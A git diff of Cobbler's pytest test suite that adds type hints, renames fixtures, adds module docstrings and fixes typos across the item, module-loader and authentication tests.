+
 
 @pytest.fixture()
-def test_settings(mocker, cobbler_api: CobblerAPI):
+def test_settings(mocker: "MockerFixture", cobbler_api: CobblerAPI):
     settings = mocker.MagicMock(name="item_setting_mock", spec=cobbler_api.settings())
     orig = cobbler_api.settings()
     for key in orig.to_dict():
@@ -112,8 +117,8 @@ def test_descendants(
     cobbler_api: CobblerAPI,
     create_distro: Callable[[], Distro],
     create_image: Callable[[], Image],
-    create_profile: Callable[[str, str], Profile],
-    create_system: Callable[[str, str], System],
+    create_profile: Any,
+    create_system: Any,
 ):
     """
     Assert that the decendants property is also working with an enabled Cache.
@@ -130,23 +135,29 @@ def test_descendants(
     test_menu2.parent = test_menu1.name
     cobbler_api.add_menu(test_menu2)
     test_distro = create_distro()
-    test_profile1: Profile = create_profile(distro_name=test_distro.name, name="test_profile1")  # type: ignore
+    test_profile1: Profile = create_profile(
+        distro_name=test_distro.name, name="test_profile1"
+    )
     test_profile1.enable_menu = False
     test_profile1.repos = [test_repo.name]
     test_profile2: Profile = create_profile(
-        profile_name=test_profile1.name, name="test_profile2"  # type: ignore
+        profile_name=test_profile1.name, name="test_profile2"
     )
     test_profile2.enable_menu = False
     test_profile2.menu = test_menu2.name
     test_profile3: Profile = create_profile(
-        profile_name=test_profile1.name, name="test_profile3"  # type: ignore
+        profile_name=test_profile1.name, name="test_profile3"
     )
     test_profile3.enable_menu = False
     test_profile3.repos = [test_repo.name]
     test_image = create_image()
     test_image.menu = test_menu1.name
-    test_system1: System = create_system(profile_name=test_profile1.name, name="test_system1")  # type: ignore
-    test_system2: System = create_system(image_name=test_image.name, name="test_system2")  # type: ignore
+    test_system1: System = create_system(
+        profile_name=test_profile1.name, name="test_system1"
+    )
+    test_system2: System = create_system(
+        image_name=test_image.name, name="test_system2"
+    )
 
     # Act
     cache_tests = [
@@ -529,7 +540,9 @@ def test_grab_tree(cobbler_api: CobblerAPI):
     assert result[-1].server == "192.168.1.1"  # type: ignore
 
 
-def test_inheritance(mocker, cobbler_api: CobblerAPI, test_settings):
+def test_inheritance(
+    mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: Settings
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
diff --git a/tests/items/menu_test.py b/tests/items/menu_test.py
index 4105e7cd89..23e5883706 100644
--- a/tests/items/menu_test.py
+++ b/tests/items/menu_test.py
@@ -1,12 +1,22 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing menu related functionality.
+"""
+
+from typing import TYPE_CHECKING
+
 import pytest
 
 from cobbler import enums
 from cobbler.api import CobblerAPI
 from cobbler.items.menu import Menu
+from cobbler.settings import Settings
+
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
 
 
-@pytest.fixture()
-def test_settings(mocker, cobbler_api: CobblerAPI):
+@pytest.fixture(name="test_settings")
+def fixture_test_settings(mocker: "MockerFixture", cobbler_api: CobblerAPI) -> Settings:
     settings = mocker.MagicMock(name="menu_setting_mock", spec=cobbler_api.settings())
     orig = cobbler_api.settings()
     for key in orig.to_dict():
@@ -69,7 +79,9 @@ def test_to_dict_resolved(cobbler_api: CobblerAPI):
     assert enums.VALUE_INHERITED not in str(result)
 
 
-def test_inheritance(mocker, cobbler_api: CobblerAPI, test_settings):
+def test_inheritance(
+    mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: Settings
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
diff --git a/tests/items/network_interface_test.py b/tests/items/network_interface_test.py
index 1874065d07..ba3c7260cc 100644
--- a/tests/items/network_interface_test.py
+++ b/tests/items/network_interface_test.py
@@ -1,17 +1,30 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing network interface related
+functionality.
+"""
+
 import logging
 from ipaddress import AddressValueError
+from typing import TYPE_CHECKING, Any, Callable, Dict, List, Union
 
 import pytest
 
 from cobbler import enums
 from cobbler.api import CobblerAPI
+from cobbler.items.distro import Distro
 from cobbler.items.network_interface import NetworkInterface
+from cobbler.items.profile import Profile
+from cobbler.items.system import System
+from cobbler.settings import Settings
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
-@pytest.fixture()
-def test_settings(mocker, cobbler_api: CobblerAPI):
+@pytest.fixture(name="test_settings")
+def fixture_test_settings(mocker: "MockerFixture", cobbler_api: CobblerAPI) -> Settings:
     settings = mocker.MagicMock(
         name="interface_setting_mock", spec=cobbler_api.settings()
     )
@@ -67,12 +80,12 @@ def test_network_interface_to_dict_resolved(cobbler_api: CobblerAPI):
     ],
 )
 def test_network_interface_from_dict(
-    caplog,
+    caplog: pytest.LogCaptureFixture,
     cobbler_api: CobblerAPI,
-    input_dict,
-    modified_field,
-    expected_result,
-    expect_logger_warning,
+    input_dict: Dict[str, str],
+    modified_field: str,
+    expected_result: str,
+    expect_logger_warning: bool,
 ):
     # Arrange
     caplog.set_level(logging.INFO)
@@ -106,7 +119,10 @@ def test_deserialize():
     ],
 )
 def test_dhcp_tag(
-    cobbler_api: CobblerAPI, input_dhcp_tag, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_dhcp_tag: Any,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -154,14 +170,17 @@ def test_static_routes(cobbler_api: CobblerAPI):
     ],
 )
 def test_static(
-    cobbler_api: CobblerAPI, input_static, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_static: Union[int, List[int], str],
+    expected_result: Union[bool, str],
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
 
     # Act
     with expected_exception:
-        interface.static = input_static
+        interface.static = input_static  # type: ignore
 
         # Assert
         assert isinstance(interface.static, bool)
@@ -178,7 +197,10 @@ def test_static(
     ],
 )
 def test_management(
-    cobbler_api: CobblerAPI, input_management, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_management: Any,
+    expected_result: Union[bool, str],
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -202,12 +224,12 @@ def test_management(
 )
 def test_dns_name(
     cobbler_api: CobblerAPI,
-    create_distro,
-    create_profile,
-    create_system,
-    input_dns_name,
-    expected_result,
-    expected_exception,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Callable[[str], System],
+    input_dns_name: str,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     distro = create_distro()
@@ -243,22 +265,22 @@ def test_dns_name(
     ],
 )
 def test_mac_address(
-    mocker,
+    mocker: "MockerFixture",
     cobbler_api: CobblerAPI,
-    create_distro,
-    create_profile,
-    create_system,
-    input_mac,
-    expected_result,
-    expected_exception,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Any,
+    input_mac: str,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     distro = create_distro()
     profile = create_profile(distro.name)
-    system = create_system(profile.name)
+    system: System = create_system(profile.name)
     system.interfaces["default"].mac_address = "AA:AA:AA:AA:AA:AA"
     cobbler_api.add_system(system)
-    system2 = create_system(profile_name=profile.name, name="test_system2")
+    system2: System = create_system(profile_name=profile.name, name="test_system2")
     system2.interfaces["default"].mac_address = "random"
     cobbler_api.add_system(system2)
     mocker.patch("cobbler.utils.get_random_mac", return_value="AA:BB:CC:DD:EE:FF")
@@ -308,14 +330,17 @@ def test_if_gateway(cobbler_api: CobblerAPI):
     ],
 )
 def test_virt_bridge(
-    cobbler_api: CobblerAPI, input_virt_bridge, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_virt_bridge: Union[str, int],
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
 
     # Act
     with expected_exception:
-        interface.virt_bridge = input_virt_bridge
+        interface.virt_bridge = input_virt_bridge  # type: ignore
 
         # Assert
         assert isinstance(interface.virt_bridge, str)
@@ -335,7 +360,10 @@ def test_virt_bridge(
     ],
 )
 def test_interface_type(
-    cobbler_api: CobblerAPI, input_interface_type, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_interface_type: Any,
+    expected_result: enums.NetworkInterfaceType,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -357,7 +385,10 @@ def test_interface_type(
     ],
 )
 def test_interface_master(
-    cobbler_api: CobblerAPI, input_interface_master, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_interface_master: Any,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -379,7 +410,10 @@ def test_interface_master(
     ],
 )
 def test_bonding_opts(
-    cobbler_api: CobblerAPI, input_bonding_opts, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_bonding_opts: Any,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -401,7 +435,10 @@ def test_bonding_opts(
     ],
 )
 def test_bridge_opts(
-    cobbler_api: CobblerAPI, input_bridge_opts, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_bridge_opts: Any,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -425,12 +462,12 @@ def test_bridge_opts(
 )
 def test_ip_address(
     cobbler_api: CobblerAPI,
-    create_distro,
-    create_profile,
-    create_system,
-    input_ip_address,
-    expected_result,
-    expected_exception,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Callable[[str], System],
+    input_ip_address: str,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     distro = create_distro()
@@ -460,12 +497,12 @@ def test_ip_address(
 )
 def test_ipv6_address(
     cobbler_api: CobblerAPI,
-    create_distro,
-    create_profile,
-    create_system,
-    input_address,
-    expected_result,
-    expected_exception,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Callable[[str], System],
+    input_address: str,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     distro = create_distro()
@@ -493,7 +530,10 @@ def test_ipv6_address(
     ],
 )
 def test_ipv6_prefix(
-    cobbler_api: CobblerAPI, input_ipv6_prefix, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_ipv6_prefix: Any,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -516,7 +556,10 @@ def test_ipv6_prefix(
     ],
 )
 def test_ipv6_secondaries(
-    cobbler_api: CobblerAPI, input_secondaries, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_secondaries: Any,
+    expected_result: List[str],
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -527,7 +570,7 @@ def test_ipv6_secondaries(
 
         # Assert
         assert isinstance(interface.ipv6_secondaries, list)
-        assert interface.ipv6_secondaries == expected_result
+        assert interface.ipv6_secondaries == expected_result  # type: ignore
 
 
 @pytest.mark.parametrize(
@@ -540,7 +583,10 @@ def test_ipv6_secondaries(
     ],
 )
 def test_ipv6_default_gateway(
-    cobbler_api: CobblerAPI, input_address, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_address: Any,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -574,7 +620,10 @@ def test_ipv6_static_routes(cobbler_api: CobblerAPI):
     ],
 )
 def test_ipv6_mtu(
-    cobbler_api: CobblerAPI, input_ipv6_mtu, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_ipv6_mtu: Any,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -595,7 +644,12 @@ def test_ipv6_mtu(
         (0, "", pytest.raises(TypeError)),
     ],
 )
-def test_mtu(cobbler_api: CobblerAPI, input_mtu, expected_result, expected_exception):
+def test_mtu(
+    cobbler_api: CobblerAPI,
+    input_mtu: Any,
+    expected_result: str,
+    expected_exception: Any,
+):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
 
@@ -618,7 +672,10 @@ def test_mtu(cobbler_api: CobblerAPI, input_mtu, expected_result, expected_excep
     ],
 )
 def test_connected_mode(
-    cobbler_api: CobblerAPI, input_connected_mode, expected_result, expected_exception
+    cobbler_api: CobblerAPI,
+    input_connected_mode: Any,
+    expected_result: Any,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -641,10 +698,10 @@ def test_connected_mode(
 )
 def test_modify_interface(
     cobbler_api: CobblerAPI,
-    input_modify_interface,
-    expected_modified_field,
-    expected_value,
-    expected_exception,
+    input_modify_interface: Dict[str, str],
+    expected_modified_field: str,
+    expected_value: str,
+    expected_exception: Any,
 ):
     # Arrange
     interface = NetworkInterface(cobbler_api, "")
@@ -657,7 +714,9 @@ def test_modify_interface(
         assert getattr(interface, expected_modified_field) == expected_value
 
 
-def test_inheritance(mocker, cobbler_api: CobblerAPI, test_settings):
+def test_inheritance(
+    mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: Settings
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
diff --git a/tests/items/profile_test.py b/tests/items/profile_test.py
index f1635b40c9..77adf21605 100644
--- a/tests/items/profile_test.py
+++ b/tests/items/profile_test.py
@@ -1,8 +1,8 @@
 """
-Test module to validate the functionallity of the Cobbler Profile item.
+Test module to validate the functionality of the Cobbler Profile item.
 """
 
-from typing import Any, Callable, Dict, List
+from typing import TYPE_CHECKING, Any, Callable, Dict, List
 
 import pytest
 
@@ -12,12 +12,16 @@
 from cobbler.items.distro import Distro
 from cobbler.items.image import Image
 from cobbler.items.profile import Profile
+from cobbler.settings import Settings
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
 
-@pytest.fixture()
-def test_settings(mocker, cobbler_api: CobblerAPI):
+
+@pytest.fixture(name="test_settings")
+def fixture_test_settings(mocker: "MockerFixture", cobbler_api: CobblerAPI) -> Settings:
     settings = mocker.MagicMock(
         name="profile_setting_mock", spec=cobbler_api.settings()
     )
@@ -55,15 +59,15 @@ def test_make_clone(cobbler_api: CobblerAPI):
 
 
 def test_to_dict(
-    create_distro: Callable[[str], Distro],
-    create_profile: Callable[[str, str, str], Profile],
+    create_distro: Callable[[], Distro],
+    create_profile: Any,
 ):
     """
     Assert that the Profile can be successfully converted to a dictionary.
     """
     # Arrange
-    distro: Distro = create_distro()  # type: ignore
-    profile: Profile = create_profile(distro_name=distro.name)  # type: ignore
+    distro = create_distro()
+    profile: Profile = create_profile(distro_name=distro.name)
 
     # Act
     result = profile.to_dict()
@@ -648,7 +652,7 @@ def test_redhat_management_key(cobbler_api: CobblerAPI):
 )
 def test_boot_loaders(
     cobbler_api: CobblerAPI,
-    create_distro: Callable[[str], Distro],
+    create_distro: Callable[[], Distro],
     input_boot_loaders: Any,
     expected_result: List[str],
     expected_exception: Any,
@@ -657,7 +661,7 @@ def test_boot_loaders(
     Assert that a Cobbler Profile can resolve the boot loaders it has available successfully.
     """
     # Arrange
-    distro: Distro = create_distro()  # type: ignore[reportGeneralTypeIssues]
+    distro: Distro = create_distro()
     profile = Profile(cobbler_api)
     profile.distro = distro.name
 
@@ -733,7 +737,11 @@ def test_find_match_single_key(
     assert expect_match == result
 
 
-def test_distro_inherit(mocker, test_settings, create_distro: Callable[[], Distro]):
+def test_distro_inherit(
+    mocker: "MockerFixture",
+    test_settings: Settings,
+    create_distro: Callable[[], Distro],
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
diff --git a/tests/items/repo_test.py b/tests/items/repo_test.py
index 8281ed37f2..af7eb891e1 100644
--- a/tests/items/repo_test.py
+++ b/tests/items/repo_test.py
@@ -1,14 +1,24 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing repository related functionality.
+"""
+
+from typing import TYPE_CHECKING, Any
+
 import pytest
 
 from cobbler import enums
 from cobbler.api import CobblerAPI
 from cobbler.items.repo import Repo
+from cobbler.settings import Settings
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
 
-@pytest.fixture()
-def test_settings(mocker, cobbler_api: CobblerAPI):
+
+@pytest.fixture(name="test_settings")
+def fixture_test_settings(mocker: "MockerFixture", cobbler_api: CobblerAPI) -> Settings:
     settings = mocker.MagicMock(name="repo_setting_mock", spec=cobbler_api.settings())
     orig = cobbler_api.settings()
     for key in orig.to_dict():
@@ -166,7 +176,10 @@ def test_rpm_list(cobbler_api: CobblerAPI):
     ],
 )
 def test_createrepo_flags(
-    cobbler_api: CobblerAPI, input_flags, expected_exception, expected_result
+    cobbler_api: CobblerAPI,
+    input_flags: Any,
+    expected_exception: Any,
+    expected_result: str,
 ):
     # Arrange
     testrepo = Repo(cobbler_api)
@@ -213,7 +226,7 @@ def test_os_version(cobbler_api: CobblerAPI):
         ("", pytest.raises(ValueError)),
     ],
 )
-def test_arch(cobbler_api: CobblerAPI, value, expected_exception):
+def test_arch(cobbler_api: CobblerAPI, value: Any, expected_exception: Any):
     # Arrange
     testrepo = Repo(cobbler_api)
 
@@ -270,7 +283,10 @@ def test_apt_dists(cobbler_api: CobblerAPI):
     ],
 )
 def test_proxy(
-    cobbler_api: CobblerAPI, input_proxy, expected_exception, expected_result
+    cobbler_api: CobblerAPI,
+    input_proxy: Any,
+    expected_exception: Any,
+    expected_result: str,
 ):
     # Arrange
     testrepo = Repo(cobbler_api)
@@ -283,7 +299,9 @@ def test_proxy(
         assert testrepo.proxy == expected_result
 
 
-def test_inheritance(mocker, cobbler_api: CobblerAPI, test_settings):
+def test_inheritance(
+    mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: Settings
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
diff --git a/tests/items/system_test.py b/tests/items/system_test.py
index 2d6252d09f..a1fda69960 100644
--- a/tests/items/system_test.py
+++ b/tests/items/system_test.py
@@ -1,8 +1,8 @@
 """
-Test module that asserts that Cobbler System functionallity is working as expected.
+Test module that asserts that Cobbler System functionality is working as expected.
 """
 
-from typing import Any, Callable, List, Optional
+from typing import TYPE_CHECKING, Any, Callable, List, Optional
 
 import pytest
 
@@ -14,12 +14,16 @@
 from cobbler.items.network_interface import NetworkInterface
 from cobbler.items.profile import Profile
 from cobbler.items.system import System
+from cobbler.settings import Settings
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
 
-@pytest.fixture()
-def test_settings(mocker, cobbler_api: CobblerAPI):
+
+@pytest.fixture(name="test_settings")
+def fixture_test_settings(mocker: "MockerFixture", cobbler_api: CobblerAPI) -> Settings:
     settings = mocker.MagicMock(
         name="profile_setting_mock", spec=cobbler_api.settings()
     )
@@ -202,7 +206,7 @@ def test_boot_loaders(
     system.name = (
         request.node.originalname  # type: ignore
         if request.node.originalname  # type: ignore
-        else request.node.name
+        else request.node.name  # type: ignore
     )
     system.profile = tmp_profile.name
 
@@ -1024,7 +1028,11 @@ def test_display_name(cobbler_api: CobblerAPI):
     assert system.display_name == ""
 
 
-def test_profile_inherit(mocker, test_settings, create_distro: Callable[[], Distro]):
+def test_profile_inherit(
+    mocker: "MockerFixture",
+    test_settings: Settings,
+    create_distro: Callable[[], Distro],
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
@@ -1095,7 +1103,9 @@ def test_profile_inherit(mocker, test_settings, create_distro: Callable[[], Dist
             assert prev_value == getattr(system, new_key)
 
 
-def test_image_inherit(mocker, test_settings, create_image: Callable[[], Image]):
+def test_image_inherit(
+    mocker: "MockerFixture", test_settings: Settings, create_image: Callable[[], Image]
+):
     """
     Checking that inherited properties are correctly inherited from settings and
     that the <<inherit>> value can be set for them.
diff --git a/tests/module_loader_test.py b/tests/module_loader_test.py
index 55dadffe21..bbb9179f81 100644
--- a/tests/module_loader_test.py
+++ b/tests/module_loader_test.py
@@ -1,13 +1,23 @@
+"""
+Tests that validate the functionality of the module that is responsible for dynamically loading Python modules for
+Cobbler. This includes both custom plugins and built-in ones.
+"""
+
+from typing import Any, Callable, List
+
 import pytest
 
 from cobbler import module_loader
+from cobbler.api import CobblerAPI
 from cobbler.cexceptions import CX
 
 from tests.conftest import does_not_raise
 
 
 @pytest.fixture(scope="function")
-def create_module_loader(cobbler_api):
+def create_module_loader(
+    cobbler_api: CobblerAPI,
+) -> Callable[[], module_loader.ModuleLoader]:
     def _create_module_loader() -> module_loader.ModuleLoader:
         test_module_loader = module_loader.ModuleLoader(cobbler_api)
         test_module_loader.load_modules()
@@ -16,7 +26,7 @@ def _create_module_loader() -> module_loader.ModuleLoader:
     return _create_module_loader
 
 
-def test_object_creation(cobbler_api):
+def test_object_creation(cobbler_api: CobblerAPI):
     # Arrange & Act
     result = module_loader.ModuleLoader(cobbler_api)
 
@@ -24,7 +34,7 @@ def test_object_creation(cobbler_api):
     assert isinstance(result, module_loader.ModuleLoader)
 
 
-def test_load_modules(create_module_loader):
+def test_load_modules(create_module_loader: Callable[[], module_loader.ModuleLoader]):
     # Arrange
     test_module_loader = create_module_loader()
 
@@ -42,11 +52,13 @@ def test_load_modules(create_module_loader):
         ("nsupdate_add_system_post"),
         ("nsupdate_delete_system_pre"),
         ("scm_track"),
-        ("sync_post_restart_services")
+        ("sync_post_restart_services"),
         # ("sync_post_wingen")
     ],
 )
-def test_get_module_by_name(create_module_loader, module_name):
+def test_get_module_by_name(
+    create_module_loader: Callable[[], module_loader.ModuleLoader], module_name: str
+):
     # Arrange
     test_module_loader = create_module_loader()
 
@@ -54,6 +66,7 @@ def test_get_module_by_name(create_module_loader, module_name):
     returned_module = test_module_loader.get_module_by_name(module_name)
 
     # Assert
+    assert returned_module is not None
     assert isinstance(returned_module.register(), str)
 
 
@@ -75,11 +88,11 @@ def test_get_module_by_name(create_module_loader, module_name):
     ],
 )
 def test_get_module_name(
-    create_module_loader,
-    module_section,
-    fallback_name,
-    expected_result,
-    expected_exception,
+    create_module_loader: Callable[[], module_loader.ModuleLoader],
+    module_section: str,
+    fallback_name: str,
+    expected_result: str,
+    expected_exception: Any,
 ):
     # Arrange
     test_module_loader = create_module_loader()
@@ -107,7 +120,10 @@ def test_get_module_name(
     ],
 )
 def test_get_module_from_file(
-    create_module_loader, module_section, fallback_name, expected_exception
+    create_module_loader: Callable[[], module_loader.ModuleLoader],
+    module_section: str,
+    fallback_name: str,
+    expected_exception: Any,
 ):
     # Arrange
     test_module_loader = create_module_loader()
@@ -201,7 +217,11 @@ def test_get_module_from_file(
         ),
     ],
 )
-def test_get_modules_in_category(create_module_loader, category, expected_names):
+def test_get_modules_in_category(
+    create_module_loader: Callable[[], module_loader.ModuleLoader],
+    category: str,
+    expected_names: List[str],
+):
     # Arrange
     test_module_loader = create_module_loader()
 
@@ -210,7 +230,7 @@ def test_get_modules_in_category(create_module_loader, category, expected_names)
 
     # Assert
     assert len(result) > 0
-    actual_result = []
+    actual_result: List[str] = []
     for name in result:
         actual_result.append(name.__name__)
     actual_result.sort()
diff --git a/tests/modules/authentication/configfile_test.py b/tests/modules/authentication/configfile_test.py
index d10ac3106b..4b83a5e65d 100644
--- a/tests/modules/authentication/configfile_test.py
+++ b/tests/modules/authentication/configfile_test.py
@@ -1,11 +1,15 @@
+"""
+Tests that validate the functionality of the module that is responsible for configuration file authentication.
+"""
+
 import pytest
-import yaml
 
+from cobbler.api import CobblerAPI
 from cobbler.modules.authentication import configfile
 
 
 @pytest.fixture(scope="function", autouse=True)
-def reset_hashfunction(cobbler_api):
+def reset_hashfunction(cobbler_api: CobblerAPI):
     yield
     cobbler_api.settings().modules.update(
         {
@@ -27,7 +31,9 @@ def reset_hashfunction(cobbler_api):
         )
     ],
 )
-def test_hashfun_positive(cobbler_api, hashfunction, test_input, exepcted_output):
+def test_hashfun_positive(
+    cobbler_api: CobblerAPI, hashfunction: str, test_input: str, exepcted_output: str
+):
     # Arrange
     cobbler_api.settings().modules.update(
         {"authentication": {"hash_algorithm": hashfunction}}
@@ -43,7 +49,9 @@ def test_hashfun_positive(cobbler_api, hashfunction, test_input, exepcted_output
 @pytest.mark.parametrize(
     "hashfunction,test_input,exepcted_output", [("md5", "testtext", "")]
 )
-def test_hashfun_negative(cobbler_api, hashfunction, test_input, exepcted_output):
+def test_hashfun_negative(
+    cobbler_api: CobblerAPI, hashfunction: str, test_input: str, exepcted_output: str
+):
     # Arrange
     cobbler_api.settings().modules.update(
         {"authentication": {"hash_algorithm": hashfunction}}
@@ -61,7 +69,9 @@ def test_register():
 @pytest.mark.parametrize(
     "hashfunction, username, password", [("md5", "cobbler", "cobbler")]
 )
-def test_authenticate_negative(cobbler_api, hashfunction, username, password):
+def test_authenticate_negative(
+    cobbler_api: CobblerAPI, hashfunction: str, username: str, password: str
+):
     # Arrange
     cobbler_api.settings().modules.update(
         {"authentication": {"hash_algorithm": hashfunction}}
@@ -75,7 +85,9 @@ def test_authenticate_negative(cobbler_api, hashfunction, username, password):
 @pytest.mark.parametrize(
     "hashfunction, username, password", [("sha3_512", "cobbler", "cobbler")]
 )
-def test_authenticate_positive(cobbler_api, hashfunction, username, password):
+def test_authenticate_positive(
+    cobbler_api: CobblerAPI, hashfunction: str, username: str, password: str
+):
     # Arrange
     cobbler_api.settings().modules.update(
         {"authentication": {"hash_algorithm": hashfunction}}
diff --git a/tests/modules/authentication/ldap_test.py b/tests/modules/authentication/ldap_test.py
index 66c69f20a5..af6652d468 100644
--- a/tests/modules/authentication/ldap_test.py
+++ b/tests/modules/authentication/ldap_test.py
@@ -1,11 +1,23 @@
+"""
+Tests that validate the functionality of the module that is responsible for LDAP authentication.
+"""
+
+from typing import TYPE_CHECKING
+
 import pytest
 
 import cobbler.settings
+from cobbler.api import CobblerAPI
 from cobbler.modules.authentication import ldap
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
-@pytest.fixture()
-def test_settings(mocker, cobbler_api):
+@pytest.fixture(name="test_settings")
+def fixture_test_settings(
+    mocker: "MockerFixture", cobbler_api: CobblerAPI
+) -> cobbler.settings.Settings:
     settings = mocker.MagicMock(
         name="ldap_setting_mock", spec=cobbler.settings.Settings
     )
@@ -28,7 +40,13 @@ class TestLdap:
         "anonymous_bind, username, password", [(True, "test", "test")]
     )
     def test_anon_bind_positive(
-        self, mocker, cobbler_api, test_settings, anonymous_bind, username, password
+        self,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        anonymous_bind: bool,
+        username: str,
+        password: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
@@ -45,7 +63,13 @@ def test_anon_bind_positive(
         "anonymous_bind, username, password", [(True, "test", "bad")]
     )
     def test_anon_bind_negative(
-        self, mocker, cobbler_api, test_settings, anonymous_bind, username, password
+        self,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        anonymous_bind: bool,
+        username: str,
+        password: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
@@ -64,14 +88,14 @@ def test_anon_bind_negative(
     )
     def test_user_bind_positive(
         self,
-        mocker,
-        cobbler_api,
-        test_settings,
-        anonymous_bind,
-        bind_user,
-        bind_password,
-        username,
-        password,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        anonymous_bind: bool,
+        bind_user: str,
+        bind_password: str,
+        username: str,
+        password: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
@@ -92,14 +116,14 @@ def test_user_bind_positive(
     )
     def test_user_bind_negative(
         self,
-        mocker,
-        cobbler_api,
-        test_settings,
-        anonymous_bind,
-        bind_user,
-        bind_password,
-        username,
-        password,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        anonymous_bind: bool,
+        bind_user: str,
+        bind_password: str,
+        username: str,
+        password: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
@@ -119,13 +143,19 @@ def test_user_bind_negative(
         [("/etc/ssl/certs", "/etc/ssl/ldap.crt", "/etc/ssl/ldap.key")],
     )
     def test_cadir_positive(
-        self, mocker, cobbler_api, test_settings, tls_cadir, tls_cert, tls_key
+        self,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        tls_cadir: str,
+        tls_cert: str,
+        tls_key: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
         test_settings.ldap_tls = True
         test_settings.ldap_tls_cacertdir = tls_cadir
-        test_settings.ldap_tls_cacertfile = None
+        test_settings.ldap_tls_cacertfile = None  # type: ignore[reportAttributeAccessIssue]
         test_settings.ldap_tls_certfile = tls_cert
         test_settings.ldap_tls_keyfile = tls_key
 
@@ -140,13 +170,19 @@ def test_cadir_positive(
         [("/etc/ssl/certs", "/etc/ssl/bad.crt", "/etc/ssl/bad.key")],
     )
     def test_cadir_negative(
-        self, mocker, cobbler_api, test_settings, tls_cadir, tls_cert, tls_key
+        self,
+        mocker: "MockerFixture",
+        cobbler_api: CobblerAPI,
+        test_settings: cobbler.settings.Settings,
+        tls_cadir: str,
+        tls_cert: str,
+        tls_key: str,
     ):
         # Arrange
         mocker.patch.object(cobbler_api, "settings", return_value=test_settings)
